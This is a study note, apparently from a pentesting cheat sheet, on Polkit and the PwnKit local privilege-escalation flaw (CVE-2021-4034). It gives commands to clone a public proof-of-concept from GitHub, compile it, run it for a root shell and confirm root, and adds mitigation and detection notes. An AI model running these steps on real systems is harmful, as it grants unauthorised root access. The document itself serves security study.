23.Polkit

Run command as root using pkexec

pkexec -u root id
pkexec -u root /bin/bash # or /bin/sh

Check if a process is authorized for an action

pkcheck --process <pid> --action-id <action_id> --allow-user-defaults

List available actions

pkaction

Example of using pkexec to run a command as another user.

pkexec --user <username> <command>

Clone exploit

git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034

Compile exploit

gcc cve-2021-4034-poc.c -o poc

Run exploit

./poc

Verify root access

id
whoami

Key Concepts:

• Polkit (PolicyKit):

  • Authorization service for Linux systems.

  • Controls permissions for user software and system components.

• pkexec:

  • A Polkit tool that allows running commands as another user (including root).

  • The vulnerable component.

• CVE-2021-4034 (PwnKit):

  • Memory corruption vulnerability in pkexec.

  • Allows unprivileged users to gain root privileges.

Vulnerability and Exploitation:

• Vulnerability Details:

  • The vulnerability is a memory corruption issue.

  • It allows an attacker to manipulate the execution flow of pkexec.

• Exploitation Process:

  • Download a Proof-of-Concept (PoC) exploit.

  • Compile the exploit.

  • Run the exploit.

  • The exploit grants a root shell.

• Mitigation:

  • Update Polkit to a patched version.

Exploitation Steps (as described):

1. Download PoC Exploit:

   • git clone https://github.com/arthepsy/CVE-2021-4034.git

   • cd CVE-2021-4034

2. Compile Exploit:

   • gcc cve-2021-4034-poc.c -o poc

3. Run Exploit:

   • ./poc

4. Verify Root Access:

   • id

Important Considerations and Enhancements:

• Vulnerability Severity:

  • PwnKit is a critical vulnerability.

  • It allows trivial privilege escalation.

• Patching:

  • Updating Polkit is essential.

• Exploit Reliability:

  • The PoC exploit is generally reliable.

• Detection:

  • Monitor for unexpected pkexec usage.

  • Use intrusion detection systems.

• Real world examples: Researching real world polkit exploits will help solidify understanding of the attack vectors.

• Polkit Rules: More information about how polkit rules function, and how they can be missconfigured would be useful.

• Polkit actions: More information about how polkit actions function would be useful.